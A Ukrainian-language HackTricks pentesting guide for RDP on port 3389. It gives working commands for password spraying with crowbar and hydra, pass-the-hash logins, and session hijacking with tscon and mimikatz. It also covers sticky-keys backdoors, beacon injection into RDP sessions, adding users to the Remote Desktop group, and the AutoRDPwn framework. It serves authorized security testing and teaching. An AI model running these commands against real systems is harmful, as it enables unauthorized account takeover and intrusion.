8.0 KiB
3389 - Pentesting RDP
{{#include ../banners/hacktricks-training.md}}
Основна інформація
Розроблений компанією Microsoft, Remote Desktop Protocol (RDP) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта RDP, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера RDP. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача.
Порт за замовчуванням: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Перерахування
Автоматичний
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).
Brute force
Будьте обережні, ви можете заблокувати облікові записи
Password Spraying
Будьте обережні, ви можете заблокувати облікові записи
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Підключення з відомими обліковими даними/хешем
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Перевірка відомих облікових даних на сервісах RDP
rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:
rdp_check <domain>/<name>:<password>@<IP>
Атаки
Вкрадення сесій
З права SYSTEM ви можете отримати доступ до будь-якої відкритої RDP-сесії будь-якого користувача без необхідності знати пароль власника.
Отримати відкриті сесії:
query user
Доступ до вибраної сесії
tscon <ID> /dest:<SESSIONNAME>
Тепер ви будете всередині вибраної сесії RDP і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.
Важливо: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував.
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші сесії RDP, відкриті на інших машинах...)
Mimikatz
Ви також можете використовувати mimikatz для цього:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Поєднуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.
Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Якщо хтось з іншого домену або з кращими привілеями входить через RDP на ПК, де ви є адміністратором, ви можете впровадити свій маяк у його процес RDP-сесії і діяти як він:
{{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}}
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Автоматичні інструменти
AutoRDPwn - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки Shadow на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
-
Контролювати мишу та клавіатуру автоматизованим способом з командного рядка
-
Контролювати буфер обміну автоматизованим способом з командного рядка
-
Створити SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP
-
Виконувати довільні команди SHELL та PowerShell на цілі без завантаження файлів
-
Завантажувати та скачувати файли до/з цілі, навіть коли передача файлів на цілі вимкнена
Цей інструмент дозволяє виконувати команди на RDP жертви без необхідності графічного інтерфейсу.
HackTricks Автоматичні команди
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
{{#include ../banners/hacktricks-training.md}}